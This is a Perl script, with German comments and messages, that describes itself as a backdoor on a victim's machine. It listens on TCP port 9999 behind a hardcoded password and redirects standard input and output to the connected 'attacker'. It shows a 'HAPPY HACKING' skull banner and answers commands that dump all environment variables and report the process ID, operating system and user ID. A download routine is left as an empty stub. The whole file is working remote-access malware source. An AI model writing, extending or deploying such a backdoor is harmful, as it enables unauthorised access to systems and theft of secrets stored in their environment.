#!/usr/bin/perl use strict; use warnings; use IO::Socket; my $passwd='Test123'; $SIG{INT} = sub { print("Killed!"); exit(); }; $SIG{CHLD} = 'IGNORE'; our $skull = qq(_________######### ______############### ____################### __####################### _######################### _########################## ############################ ############################ ############################ ############################ ####____#############___#### ###____#____#####____#___### #####__#____#####____#__#### #######___####__###___###### #############____########### ___##########____########## ____#########____####### _____################## ____###_##_###_####_#### ________HAPPY ____________HACKING! ____###_###_##_###_##_## _____################## ______############### _________########## ); my $socket = new IO::Socket::INET( LocalHost => "localhost", LocalPort => 9999, Proto => 'tcp', Listen => SOMAXCONN, Reuse => 1 ) || die("Kann den Socket nicht initiallisieren! $!"); while(1){ my $new_socket = $socket->accept(); print "Angreifer hat sich verbunden!\n"; terminal($new_socket) if(fork()==0); close($new_socket); } close($socket); exit(); sub terminal { my $socket=shift; # Login erforderlich: my $pass_cnt = 10; while($pass_cnt) { print $socket "Password:\n"; my $line=<$socket>; if($line=~/^\s*$passwd\s*$/s) { $pass_cnt=1; last(); } } unless($pass_cnt) { print $socket "PASSWORD WRONG!\n"; exit(); } print "Angreifer hat sich eingeloggt!\n"; # STDOUT STDERR STDIN umleiten open(my $out, ">&STDOUT") or exit(); close(STDOUT) or exit(); close(STDERR) or exit(); close(STDIN) or exit(); *STDOUT=\*$socket; *STDERR=\*$socket; *STDIN=\*$socket; print "Login OK\n"; print $skull; my $buffer=''; while(my $line=<$socket>) { $line=~y/\x0D//d; $line=~s/\x0A+$//s; my @funcarr; if($line =~ /^exit/){ print "Schließe Verbindung...\n"; close($socket); last(); } elsif($line =~ /^get/){ if($line =~ /^get$/){ print "get braucht einen parameter\n"; } else{ @funcarr = split(/ /, $line); print &get($funcarr[1]); } } elsif($line =~ /^env$/){ foreach (keys(%ENV)) { print "Key: $_ , Wert: $ENV{$_}\n"; } } print $out "Angreifer hat die Verbindung beendet!\n"; } } exit; sub get() { my $opt = shift; if($opt =~ /^pid$/){ return "Die Backdoor läuft mit der PID $$\n"; } elsif($opt =~ /^os$/){ return "Das Opfer hat das Betriebssystem '$^O'\n"; } elsif($opt =~ /^uid$/){ return "Der Nutzer hat die UID $<\n"; } else { return "Parameter ist ungültig\n"; } } sub download(){ my $url = shift; }